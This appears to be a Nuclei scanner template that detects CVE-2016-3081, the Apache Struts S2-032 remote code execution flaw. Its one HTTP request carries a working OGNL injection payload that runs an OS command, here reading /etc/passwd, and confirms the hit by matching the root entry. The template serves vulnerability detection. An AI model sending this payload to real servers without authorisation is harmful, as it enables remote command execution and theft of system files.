id: CVE-2016-3081 info: name: Apache S2-032 Struts - Remote Code Execution author: dhiyaneshDK severity: high description: | Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when dynamic method invocation is enabled, allows remote attackers to execute arbitrary code via method: prefix (related to chained expressions). reference: - https://cwiki.apache.org/confluence/display/WW/S2-032 - https://struts.apache.org/docs/s2-032.html - https://nvd.nist.gov/vuln/detail/CVE-2016-3081 - http://web.archive.org/web/20211207042547/https://securitytracker.com/id/1035665 classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2016-3081 cwe-id: CWE-77 tags: cve,cve2016,struts,rce,apache requests: - raw: - | GET /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: status status: - 200 - type: regex regex: - "root:.*:0:0:" # Enhanced by mp on 2022/06/09